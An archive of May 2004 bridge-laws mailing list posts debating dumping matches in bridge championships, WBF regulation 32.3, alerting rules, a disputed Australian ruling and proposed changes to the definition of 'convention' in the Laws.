Sunday, May 23, 2004 2:22 PM Subject: Re: [blml] Matchpoint dumping (was A newer one) > > 32.3 does begin by saying "The WBF expects all > >teams and partnerships to play to win at all times > > to win the board, the session, the post mortem or* > the event? John > +=+ Yes, probably.... +=+ (* and) From wayne.burrows@xtra.co.nz Sun May 23 20:42:48 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 24 May 2004 07:42:48 +1200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <003901c440b6$15531b10$e508e150@multivisionoem> Message-ID: <004101c440fe$20d3d180$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of gesta@tiscali.co.uk > Sent: Sunday, 23 May 2004 11:06 p.m. > To: 'bridge laws mailing list' > Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > Grattan Endicott [also grandeval@vejez.fsnet.co.uk] > ++++++++++++++++++++++++++++++++. > "I waive the quantum o' the sin; > The hazard of concealing; > But och! it hardens a' within, > And petrifies the feeling!" > ['Epistle to a Young Friend'] > #=#=#=#=#=#=#=#=#=#=#=#=#=#=#= > ----- Original Message ----- > From: "Ton Kooijman" > To: "'bridge laws mailing list'" > Sent: Sunday, May 23, 2004 9:43 AM > Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > Grattan: > > > > > Completed, the regulation reads "While a > > > team may rest its players and make other decisions > > > for strategic reasons, it is not permissible for a > > > partnership to play by design to obtain a session score > > > inferior to that of its opponents .... etc. " So the WBF > > > thinks at least that it has your point covered. > > > > ton > > Another example of crooked wording. Apparently the > > WBF does allow a partnership to play inferior bridge as > > long as it strives for at least 15 VP's in the match. > > > > > +=+ An interesting thought. I have not seen, as far as I > recall, a regulation in any competition that actually says > "It is forbidden to play inferior bridge". The nearest > suggestion heard would perhaps be "Thou shalt not > misremember thy convention"! :-)) > 32.3 does begin by saying "The WBF expects all > teams and partnerships to play to win at all times and > in all circumstances". Since this statement also appears > in Section 6 (Ethics and Deportment) of the same > document it is obviously of exceptional importance. > Maybe it is not enough, therefore, to play for 15-15. > I suppose we both bear a modest quantum of > corporate responsibility for the regulations being what > they are, without being prime movers. > ~ G ~ +=+ Therefore in the last round of qualifying when your team needs 1 or 2 or 3 or any number less than 16 VPs to qualify it is illegal to play a conservative game to try to ensure that you avoid disaster while not trying to win. IMO this is an absurd regulation. Wayne > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From blml@blakjak.com Sun May 23 22:13:47 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 23 May 2004 22:13:47 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <003901c440b6$15531b10$e508e150@multivisionoem> References: <000101c4403c$c8590870$0401010a@Desktop> <004501c44054$88a59500$6e79893e@4nrw70j> <001001c440a2$1c9ae790$52ebf1c3@LNV> <003901c440b6$15531b10$e508e150@multivisionoem> Message-ID: <+SsAIwALQRsAFwNC@blakjak.demon.co.uk> GGE wrote >+=+ An interesting thought. I have not seen, as far as I >recall, a regulation in any competition that actually says >"It is forbidden to play inferior bridge". Well, it is time there was one, and it was explained to my partners and team-mates. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sun May 23 22:17:14 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 23 May 2004 22:17:14 +0100 Subject: [blml] Re: ACBL Laws Committee In-Reply-To: References: <200405221548.i4MFmAQN028946@cfa183.cfa.harvard.edu> Message-ID: Steve Willner wrote >From the New Orleans minutes: > "it was reported that the definition of the word “convention” would >change in the new laws. There will be separate definitions for bids, >doubles and redoubles, and pass." > >This seems quite sensible if there is to be a definition at all. In >fact, I'd go further and separate suit bids from notrump bids. Suit >bids will be tricky, though. How can the rules deal with distributional >restrictions in other suits? For example, the usual American 1H opening >says that hearts are strictly longer than spades, but I don't think most >people will want it to be a convention. > >As won't surprise regular readers :-), I have a suggestion. The >dividing line could be showing length or high card strength in a >specified suit other than the one named. This has some unexpected and >perhaps undesired results in that, for example, a heart bid that shows >heart length plus a singleton club would not be a convention, but I >don't see how to fix this without making the "natural" 1H bid a >convention. Is this something we can live with, or can someone do >better? Certainly. No definition of convention anywhere in the Laws: no mention of convention anywhere in the Laws. The current definition is qernqshy and there is no sensible use of it anywhere. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sun May 23 22:43:37 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 23 May 2004 22:43:37 +0100 Subject: Fw: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <002d01c4403b$00917f80$a3a0403e@multivisionoem> References: <003201c43f0c$af234c20$879d4c51@4nrw70j> <002d01c4403b$00917f80$a3a0403e@multivisionoem> Message-ID: GE wrote >> > In the above I should perhaps have drawn >> > attention to the post-Kaplan expansion of this. >> DWS: >> I wonder why "Iceland" comes to mind? >+=+ The allusion is lost upon me. ~ G ~ +=+ Perhaps I have it wrong. Was not the time that brought dumping ot the notice of the WBF when Poland Iceland Gt Britain reached the late stages of a WBF event, but their results affected whom they played next. Everyone wanted to play Iceland, so Poland and Gt Britain tried dumping. Two things went wrong. First, Iceland won the whole shooting match that year [live on Icelandic TV] so attempts to play them in the S/F may not have been a good idea. Second, the Pole who tried dumping was totally unsuccessful. One typical example: KQxx KQxx AKx Jx Partner opens 1S, so he raised to 2S, making three overtricks. Unfortunately 6S went off in the other room so he gained on the board. Poland in fact gained considerably on the set where he tried dumping. The British team thought such tactics were beneath them, so they just put in a lineup of people who were not partnerships. I believe this also was a failure for dumping!!! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From cibor@poczta.fm Sun May 23 23:31:31 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Mon, 24 May 2004 00:31:31 +0200 Subject: Fw: [blml] Matchpoint dumping (was A newer one) References: <003201c43f0c$af234c20$879d4c51@4nrw70j> <002d01c4403b$00917f80$a3a0403e@multivisionoem> Message-ID: <001501c44115$b4adbc60$c5441d53@kocurzak> ----- Original Message ----- From: "David Stevenson" To: Sent: Sunday, May 23, 2004 11:43 PM Subject: Re: Fw: [blml] Matchpoint dumping (was A newer one) > GE wrote > > >> > In the above I should perhaps have drawn > >> > attention to the post-Kaplan expansion of this. > > >> DWS: > >> I wonder why "Iceland" comes to mind? > > >+=3D+ The allusion is lost upon me. ~ G ~ +=3D+ > > Perhaps I have it wrong. > > Was not the time that brought dumping ot the notice of the WBF when > Poland Iceland Gt Britain reached the late stages of a WBF event, > but their results affected whom they played next. Everyone wanted to > play Iceland, so Poland and Gt Britain tried dumping. Wrong. Poland and USA II tried dumping. Both teams wanted to avoid GB in the QFs. Martens - Szymanowski played several deals passing with strong hands and rasing 1S to 4S on a doubleton so Poland won comfortably 19-11. :-) Konrad Ciborowski Krak=F3w, Poland From richard.hills@immi.gov.au Mon May 24 04:15:56 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 24 May 2004 13:15:56 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: John (MadDog) Probst: >>>How would you feel if I switched to playing >>>Colonel Buller's excellent system as promulgated >>>by his book? cheers John Grattan Endicott: >>+=+ Er :-), in your case, John? - Optimistic! >> But more seriously, switching methods in the >>course of a WBF Championship could involve >>having pre-registered the system. The systems >>regulations for the particular style of tournament >>would apply, in the WBF or wherever. Something >>for regulatory bodies to mull over, since you raise >>it? ~ G ~ +=+ Australian National Championships (ANC) Teams reg: >9. Partnership Alterations: > >9.1 A State is permitted to alter partnerships >provided that the altered partnership plays a system >which has been submitted pursuant to Regulation #4.2 >above or some other system which the CTD in his >absolute discretion considers is sufficiently >natural as to cause no disadvantage to the >opposition through lack of previous disclosure. Richard James Hills: In a recent ANC Open Teams, the favoured New South Wales Open Team lost a round-robin match to the very dark horse of the Northern Territory Open Team. This loss was caused by a partnership of international players in the NSW team having a power failure, due to one international player inflicting his home-grown bidding system POWER upon his international partner. Therefore, the NSW non-playing captain insisted that this international partnership power-down, and switch to the Aussie version of Buller, Standard American with Benjy Twos. Thanks to having a partnership playing Aussie Buller, NSW dramatically improved after its early slump, and it eventually won that year's ANC Open Teams. So, it seems to me that ANC reg 9.1 is inadequate, since it does not permit opposing teams to *insist* that a partnership continues to play its original unnatural system. :-) Best wishes RJH From richard.hills@immi.gov.au Mon May 24 05:17:39 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 24 May 2004 14:17:39 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Richard James Hills: [snip] >>So, Edgar Kaplan's revision of the Bermuda Bowl quarter- >>final pairings rules to discourage dumping was completely >>consistent with his philosophy. Grattan Endicott: >+=+ I had in mind his involvement in and support for the >WBF regulation that says: "The WBF expects all teams >and partnerships to play to win at all times and in all >circumstances." And for the interpretation of this that >requires teams/partnerships to play to win every match, >which indeed is what it says quite plainly. See General >Conditions of Contest, under 'Ethics and Deportment'. > ~ Grattan ~ +=+ > >+=+ Add: >In the above I should perhaps have drawn attention to the >post-Kaplan expansion of this. The 2003 General Conditions >at 32.3 say additionally: "It is not permissible for a >partnership to play by design to obtain a session score >inferior to that of its opponents and the Committee shall >have the authority to determine on such evidence as it >considers sufficient whether a partnership has done so." > ~ G ~ +=+ Richard James Hills: The Kaplan-supported WBF reg, "play to win at all times", was consistent with Kaplan's oft-stated position that dumping was only sporting if it enhanced the chances to win of the contestant perpetrating the dumping. For example, Edgar Kaplan fully supported a Bridge World subscriber's decision to refuse to play again with a dumping partner, because that partner dumped in a Calcutta against an opposing pair, merely because the partner had bought a share in the opposing pair. Kaplan stated that dumping for merely financial gain might be ethical in the real world (perhaps to stop the dumper's children begging on the streets), but non-"play to win" dumping could *not* be ethical in the bridge world. But the post-Kaplan "session score" refinement was always a concept that Kaplan was opposed to in a series of Bridge World editorials published throughout the 70s, 80s and 90s. Best wishes RJH From richard.hills@immi.gov.au Mon May 24 06:32:34 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 24 May 2004 15:32:34 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Sven Pran asked: >Now this is mainly theory but say that a player >applies a certain strategy with the main purpose >of affecting "third party". Nobody at the table >feels damaged even though the applied strategy >could have included an element of irregularity. [snip] >As we do not allow "third parties" to attack >happenings and rulings; should we allow >strategies and actions mainly for the purpose of >affecting "third party"? Richard James Hills fails to answer: I will not answer Sven's theoretical question. Instead, I will pose a problem for Sven which actually occurred in Australia some years ago. Back then the Aussie Alert reg deemed that: (a) penalty doubles should not be alerted, and (b) non-penalty doubles should be alerted. Swiss Teams, penultimate round, WBF vp scale. WEST NORTH EAST SOUTH Team A Team B Team A Team B 1H 1S Double(1) Pass Pass Pass (1) Penalty double, not alerted Result: North-South -800 If the TD let the table result stand, Team A would score 25 vps, and Team B would score 4 vps. The TD was summoned. East-West correctly argued that the ABF ruled that a natural penalty double did not need to be alerted. North-South argued that Law 75 implied that an *unusual* call should have been alerted, thus giving South the information that South needed to wriggle to a cheaper spot. The TD unLawfully split the score. Team A kept their +800, and their maximum 25 vp win. Team B were given a lesser wriggled score, and therefore 7 vps. Team C, who were competing with Team B for second place in the Swiss requested that Team A appeal the TD's unLawful ruling. Team A chose a "strategy and action" mainly for the purpose of affecting "third party". Team A refused to appeal a ruling which gave them a maximum 25 vp win, despite Team B's 7 vp score having "an element of irregularity". If Sven had then been sitting on the Australian National Authority, would Sven have penalised Team A for failing to appeal Team B's unLawful result? Would Sven's hypothetical Aussie National Authority ruling be different if Sven discovered that the Team A captain hated the Team B captain, but still refused to appeal against the unLawful TD ruling benefiting Team B? Best wishes RJH From richard.hills@immi.gov.au Mon May 24 07:37:46 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 24 May 2004 16:37:46 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Richard James Hills: >>>In my opinion, not only are England and America >>>divided by a common language, they are also divided >>>by the most fundamental propriety, Law 74A2 [snip] David Stevenson: [snip] >> When I play in Portugal, Australia, the USA, Sweden >>I expect rules and attitudes to be different. Taking >>one particular rule out for special treatment seems >>illogical. Richard James Hills: Special rules need special treatment. The WBF LC set an analogous precedent when applying Law 74A2 to a dumping strategy which was previously allowed by Law 15C. WBF LC minutes 28th & 30th October 2001: >Consider the situation where a pair sits at the wrong >table, and an auction starts. They discover their >error, move away, and the correct pair sits down. This >Law says that the pair who remain must make the same >calls, and the Director should check to make sure the >new pair make the same calls as the old pair did. > >What happens if one of the new pair, having heard the >Law, decides he does not really want to play the board, >so opens 7NT which he guesses will be a change from the >earlier auction? This is unacceptable, and is treated >as a violation of Law 74A2. > >There is no need for the Director to judge the intent >of the player: if no satisfactory bridge reason can be >found for the call then he applies Law 74A2. The TD >informs (or instructs) the players correspondingly. Best wishes RJH From richard.hills@immi.gov.au Mon May 24 08:08:15 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 24 May 2004 17:08:15 +1000 Subject: [blml] Taking Insufficient bidders off the table Message-ID: Adam Beneschan: [snip] >>So who exactly thinks 1NT is a convention >>here? If there's some high-ranking ACBL >>mucky-muck claiming that it is, then I >>can see that there is reason for concern. Richard James Hills: In my regular partnership, I play a 1NT opening as denying: (a) a five card major, (b) a six card minor, and (c) two doubletons Because of the distributional constraints upon my 1NT opening, I believe that technically my 1NT opening is a convention, because it "conveys a meaning other than willingness to play" in a notrump contract. In my humble opinion, the artificial Lawful distinction between conventional and non- conventional calls is a 1950s relic, when ACBL expert partnerships did not bother with any codification of their partnership agreements. I believe that *three* pairs in an ACBL Selection Trials in the 1960s simultaneously played the same slam in the same partscore, because all three partnerships had failed to discuss whether or not a simple preference after partner's reverse was a one-round force. Nowadays, even Aussie bunnies often maintain an extensive set of word-processed system notes, so it seems to me that distinguishing between conventional partnership agreements and non-conventional partnership agreements is no longer particularly useful. So, I suggest that "convention" is removed from the 2006 edition of the Laws. Therefore, I support the shortening of Law 27B in the 2006 edition of the Laws to read merely: >If an insufficient bid made in rotation is >not accepted, it must be corrected by the >substitution of either a sufficient bid or >a pass. > >The non-accepted insufficient bid is UI to >the insufficient bidder's partner, but AI >to the insufficient bidder's opponents. Furthermore, I support the amendment of Law 40D in the 2006 edition of the Laws to read merely: >The sponsoring organisation may regulate >the use of bidding or play partnership >agreements, whether explicit or implicit. Best wishes RJH From richard.hills@immi.gov.au Mon May 24 08:26:45 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 24 May 2004 17:26:45 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Wayne Burrows: >I recently played in an event that had a similar >problem. > >The event was teams of four to select a team of >six. A team of six was not allowed to enter. > >If six particular players would like to become >the team of six they were forced to enter as a >team of four (team A) plus a pair playing with >another pair with whom they did not really wish >to play with making up team B. > >There was potentially an obvious conflict of >interest when Team A were drawn to play Team B. > >This interest did not need to be declared in >advance so there was no way of monitoring it. Richard James Hills: I started the precursor of this thread by criticising the 2003 ABF Trials CoC. However, I applaud the 2004 ABF Trials CoC. This is despite the 2004 CoC having a team-of-four playoff to select a team-of-six. Why do I differ with Wayne, and applaud this method? Because the ABF CoC deemed that the third pair of the team-of-six should be selected *before* the team-of-four playoff. The format of the 2004 ABF Trials was to invite the 16 partnerships who had accrued the most Qualifying Points allocated to various Aussie National Championships in 2003 to participate. Part 1: The 16 pairs played lengthy round-robin matches, with cross-imped Butler scoring. The pair which won Part 1 was automatically selected as part of the Aussie team-of-six. Part 2: Pairs ranked 2nd to 5th played a 64 board team-of-four match to decide the remaining two pairs qualifying for the Aussie team-of-six. The pair ranked 2nd could choose its team-mates for the team-of-four playoff match. Not only was there no scope for dumping in this format, the chances of a sponsor buying itself a spot in the Aussie team-of-six was drastically reduced, compared to the previously sponsor-riddled Aussie international teams. Best wishes RJH From svenpran@online.no Mon May 24 08:42:27 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 24 May 2004 09:42:27 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: Message-ID: <000001c44162$a9404b20$6900a8c0@WINXP> > richard.hills@immi.gov.au > Sven Pran asked: >=20 > >Now this is mainly theory but say that a player > >applies a certain strategy with the main purpose > >of affecting "third party". Nobody at the table > >feels damaged even though the applied strategy > >could have included an element of irregularity. >=20 > [snip] >=20 > >As we do not allow "third parties" to attack > >happenings and rulings; should we allow > >strategies and actions mainly for the purpose of > >affecting "third party"? >=20 > Richard James Hills fails to answer: >=20 > I will not answer Sven's theoretical question. > Instead, I will pose a problem for Sven which > actually occurred in Australia some years ago. > Back then the Aussie Alert reg deemed that: >=20 > (a) penalty doubles should not be alerted, and > (b) non-penalty doubles should be alerted. >=20 > Swiss Teams, penultimate round, WBF vp scale. >=20 > WEST NORTH EAST SOUTH > Team A Team B Team A Team B > 1H 1S Double(1) Pass > Pass Pass >=20 > (1) Penalty double, not alerted >=20 > Result: North-South -800 >=20 > If the TD let the table result stand, Team A > would score 25 vps, and Team B would score 4 vps. >=20 > The TD was summoned. East-West correctly argued > that the ABF ruled that a natural penalty double > did not need to be alerted. >=20 > North-South argued that Law 75 implied that an > *unusual* call should have been alerted, thus > giving South the information that South needed > to wriggle to a cheaper spot. >=20 > The TD unLawfully split the score. Team A kept > their +800, and their maximum 25 vp win. Team B > were given a lesser wriggled score, and therefore > 7 vps. >=20 > Team C, who were competing with Team B for second > place in the Swiss requested that Team A appeal > the TD's unLawful ruling. >=20 > Team A chose a "strategy and action" mainly for > the purpose of affecting "third party". Team A > refused to appeal a ruling which gave them a > maximum 25 vp win, despite Team B's 7 vp score > having "an element of irregularity". >=20 > If Sven had then been sitting on the Australian > National Authority, would Sven have penalised > Team A for failing to appeal Team B's unLawful > result? No. >=20 > Would Sven's hypothetical Aussie National > Authority ruling be different if Sven discovered > that the Team A captain hated the Team B captain, > but still refused to appeal against the unLawful > TD ruling benefiting Team B? No. But neither answer must be taken that I am happy with laws and = regulations permitting such consequences of a Director's error with no legal = possibility for affected third party to challenge the error. Under the given circumstances I would as Director have denied any = adjustment and warned Team B that although they had every right to appeal I would recommend an AC in case to consider such appeal to be without any merit. = Regards Sven From grandeval@vejez.fsnet.co.uk Mon May 24 09:20:05 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 24 May 2004 09:20:05 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: Message-ID: <002b01c44168$03b033e0$489a87d9@4nrw70j> Grattan Endicott To: Sent: Monday, May 24, 2004 5:17 AM Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > > > Richard James Hills: > > The Kaplan-supported WBF reg, "play to win > at all times", was consistent with Kaplan's oft-stated > position that dumping was only sporting if it > enhanced the chances to win of the contestant perpetrating the dumping. > +=+ I do not buy this. The regulation framed after the Yokohama incident was a response controlling dumping in a single round (match) of a championship, particularly towards its closing stages, for any purpose whatsoever. Edgar helped to devise it. The subsequent expansion did not change the intent, but only clarified it. It was not unknown for Edgar to support one approach in the WBF and another when he returned home. ~ Grattan ~ +=+ From blml@blakjak.com Mon May 24 11:16:47 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 24 May 2004 11:16:47 +0100 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: References: Message-ID: RJH wrote >Adam Beneschan: > >[snip] > >>>So who exactly thinks 1NT is a convention >>>here? If there's some high-ranking ACBL >>>mucky-muck claiming that it is, then I >>>can see that there is reason for concern. > >Richard James Hills: > >In my regular partnership, I play a 1NT >opening as denying: > >(a) a five card major, >(b) a six card minor, and >(c) two doubletons > >Because of the distributional constraints >upon my 1NT opening, I believe that >technically my 1NT opening is a convention, >because it "conveys a meaning other than >willingness to play" in a notrump contract. > >In my humble opinion, the artificial Lawful >distinction between conventional and non- >conventional calls is a 1950s relic, when >ACBL expert partnerships did not bother with >any codification of their partnership >agreements. > >I believe that *three* pairs in an ACBL >Selection Trials in the 1960s simultaneously >played the same slam in the same partscore, >because all three partnerships had failed to >discuss whether or not a simple preference >after partner's reverse was a one-round >force. > >Nowadays, even Aussie bunnies often maintain >an extensive set of word-processed system >notes, so it seems to me that distinguishing >between conventional partnership agreements >and non-conventional partnership agreements >is no longer particularly useful. > >So, I suggest that "convention" is removed >from the 2006 edition of the Laws. > >Therefore, I support the shortening of Law >27B in the 2006 edition of the Laws to read >merely: > >>If an insufficient bid made in rotation is >>not accepted, it must be corrected by the >>substitution of either a sufficient bid or >>a pass. >> >>The non-accepted insufficient bid is UI to >>the insufficient bidder's partner, but AI >>to the insufficient bidder's opponents. > >Furthermore, I support the amendment of Law >40D in the 2006 edition of the Laws to read >merely: > >>The sponsoring organisation may regulate >>the use of bidding or play partnership >>agreements, whether explicit or implicit. My god! I agree with RJH! Please don't tell anyone ... -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon May 24 11:22:13 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 24 May 2004 11:22:13 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: Message-ID: RJH wrote >Sven Pran asked: > >>Now this is mainly theory but say that a player >>applies a certain strategy with the main purpose >>of affecting "third party". Nobody at the table >>feels damaged even though the applied strategy >>could have included an element of irregularity. > >[snip] > >>As we do not allow "third parties" to attack >>happenings and rulings; should we allow >>strategies and actions mainly for the purpose of >>affecting "third party"? > >Richard James Hills fails to answer: > >I will not answer Sven's theoretical question. >Instead, I will pose a problem for Sven which >actually occurred in Australia some years ago. >Back then the Aussie Alert reg deemed that: > >(a) penalty doubles should not be alerted, and >(b) non-penalty doubles should be alerted. > >Swiss Teams, penultimate round, WBF vp scale. > >WEST NORTH EAST SOUTH >Team A Team B Team A Team B >1H 1S Double(1) Pass >Pass Pass > >(1) Penalty double, not alerted > >Result: North-South -800 > >If the TD let the table result stand, Team A >would score 25 vps, and Team B would score 4 vps. > >The TD was summoned. East-West correctly argued >that the ABF ruled that a natural penalty double >did not need to be alerted. > >North-South argued that Law 75 implied that an >*unusual* call should have been alerted, thus >giving South the information that South needed >to wriggle to a cheaper spot. > >The TD unLawfully split the score. Team A kept >their +800, and their maximum 25 vp win. Team B >were given a lesser wriggled score, and therefore >7 vps. > >Team C, who were competing with Team B for second >place in the Swiss requested that Team A appeal >the TD's unLawful ruling. > >Team A chose a "strategy and action" mainly for >the purpose of affecting "third party". Team A >refused to appeal a ruling which gave them a >maximum 25 vp win, despite Team B's 7 vp score >having "an element of irregularity". > >If Sven had then been sitting on the Australian >National Authority, would Sven have penalised >Team A for failing to appeal Team B's unLawful >result? > >Would Sven's hypothetical Aussie National >Authority ruling be different if Sven discovered >that the Team A captain hated the Team B captain, >but still refused to appeal against the unLawful >TD ruling benefiting Team B? The Law's the Law. There will always be imperfections, and more are brought in by trying to control one odd occurrence than are kept out that way. Of course, there is nothing wrong with Team C asking the DIC to take it to appeal - or, simpler, to over-rule his TD himself. Yes, I know - it was the DIC who perpetrated this inanity, wasn't it? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon May 24 11:23:42 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 24 May 2004 11:23:42 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: Message-ID: RJH wrote >Richard James Hills: > >>>>In my opinion, not only are England and America >>>>divided by a common language, they are also divided >>>>by the most fundamental propriety, Law 74A2 > >[snip] > >David Stevenson: > >[snip] > >>> When I play in Portugal, Australia, the USA, Sweden >>>I expect rules and attitudes to be different. Taking >>>one particular rule out for special treatment seems >>>illogical. > >Richard James Hills: > >Special rules need special treatment. > >The WBF LC set an analogous precedent when applying Law >74A2 to a dumping strategy which was previously allowed >by Law 15C. > >WBF LC minutes 28th & 30th October 2001: > >>Consider the situation where a pair sits at the wrong >>table, and an auction starts. They discover their >>error, move away, and the correct pair sits down. This >>Law says that the pair who remain must make the same >>calls, and the Director should check to make sure the >>new pair make the same calls as the old pair did. >> >>What happens if one of the new pair, having heard the >>Law, decides he does not really want to play the board, >>so opens 7NT which he guesses will be a change from the >>earlier auction? This is unacceptable, and is treated >>as a violation of Law 74A2. >> >>There is no need for the Director to judge the intent >>of the player: if no satisfactory bridge reason can be >>found for the call then he applies Law 74A2. The TD >>informs (or instructs) the players correspondingly. Since this is nothing to do with dumping it is not analogous. Taking a totally different matter and calling it analogous is a merry game which should not be taken seriously. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From jaapvanderneut@hotmail.com Mon May 24 11:41:39 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Mon, 24 May 2004 12:41:39 +0200 Subject: [blml] Matchpoint dumping (was A newer one) References: <002b01c44168$03b033e0$489a87d9@4nrw70j> Message-ID: > +=+ I do not buy this. The regulation framed after > the Yokohama incident was a response controlling > dumping in a single round (match) of a championship, > particularly towards its closing stages, for any > purpose whatsoever. Edgar helped to devise it. The > subsequent expansion did not change the intent, but > only clarified it. > It was not unknown for Edgar to support one > approach in the WBF and another when he returned > home. ~ Grattan ~ +=+ Come on Grattan. You keep on twisting and spinning and ducking the real issue. > The regulation framed after > the Yokohama incident was a response controlling > dumping in a single round (match) of a championship, > particularly towards its closing stages, for any > purpose whatsoever. I don't buy this my dear. I am sure the response to the Yokohama incident was exactly that, a response to that incident. So this was about dumping a match (= part of a whole) to increase the chance of winning the championship (= the whole). Why do you confuse the issue with stating 'for any purpose whatsover'. I am quite sure your new reg doesn't stop dumping for certain less rational or less acceptable reasons. By the way I like the response (if you refer to the new reg with carry-over and or choosing opponents by higher ranked teams) because it tries to make sure there is nothing to win by dumping, which is the way this problem should be solved IMO. What I hate (and you seem to defend it in other mails) is that a SO tries to outlaw dumping while maintaining CoC's where dumping remains a winning tactic (in the sense that it increases dumpers own chances to win). It doesn't work, it is mistreating players (who wants to be in such a situation), it erodes respect of the law and regulators, etc. Jaap ----- Original Message ----- From: "grandeval" To: Sent: Monday, May 24, 2004 10:20 AM Subject: Re: [blml] Matchpoint dumping (was A newer one) > > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "What sets us against one another is > not our aims - they all come to the same > thing - but our methods, which are the > fruit of our varied reasoning." > ~ Saint-Exupery. > ++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: > To: > Sent: Monday, May 24, 2004 5:17 AM > Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > > > > > > > > > > > Richard James Hills: > > > > The Kaplan-supported WBF reg, "play to win > > at all times", was consistent with Kaplan's oft-stated > > position that dumping was only sporting if it > > enhanced the chances to win of the contestant > perpetrating the dumping. > > > +=+ I do not buy this. The regulation framed after > the Yokohama incident was a response controlling > dumping in a single round (match) of a championship, > particularly towards its closing stages, for any > purpose whatsoever. Edgar helped to devise it. The > subsequent expansion did not change the intent, but > only clarified it. > It was not unknown for Edgar to support one > approach in the WBF and another when he returned > home. ~ Grattan ~ +=+ > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From svenpran@online.no Mon May 24 13:58:03 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 24 May 2004 14:58:03 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: Message-ID: <000801c4418e$c0305150$6900a8c0@WINXP> > David Stevenson > >Sven Pran asked: ........ > >>As we do not allow "third parties" to attack > >>happenings and rulings; should we allow > >>strategies and actions mainly for the purpose of > >>affecting "third party"? > > > >Richard James Hills fails to answer: > > > >I will not answer Sven's theoretical question. > >Instead, I will pose a problem for Sven which > >actually occurred in Australia some years ago. > >Back then the Aussie Alert reg deemed that: > > > >(a) penalty doubles should not be alerted, and > >(b) non-penalty doubles should be alerted. > > > >Swiss Teams, penultimate round, WBF vp scale. > > > >WEST NORTH EAST SOUTH > >Team A Team B Team A Team B > >1H 1S Double(1) Pass > >Pass Pass > > > >(1) Penalty double, not alerted > > > >Result: North-South -800 > > > >If the TD let the table result stand, Team A > >would score 25 vps, and Team B would score 4 vps. > > > >The TD was summoned. East-West correctly argued > >that the ABF ruled that a natural penalty double > >did not need to be alerted. > > > >North-South argued that Law 75 implied that an > >*unusual* call should have been alerted, thus > >giving South the information that South needed > >to wriggle to a cheaper spot. > > > >The TD unLawfully split the score. Team A kept > >their +800, and their maximum 25 vp win. Team B > >were given a lesser wriggled score, and therefore > >7 vps. > > > >Team C, who were competing with Team B for second > >place in the Swiss requested that Team A appeal > >the TD's unLawful ruling. > > > >Team A chose a "strategy and action" mainly for > >the purpose of affecting "third party". Team A > >refused to appeal a ruling which gave them a > >maximum 25 vp win, despite Team B's 7 vp score > >having "an element of irregularity". > > > >If Sven had then been sitting on the Australian > >National Authority, would Sven have penalised > >Team A for failing to appeal Team B's unLawful > >result? > > > >Would Sven's hypothetical Aussie National > >Authority ruling be different if Sven discovered > >that the Team A captain hated the 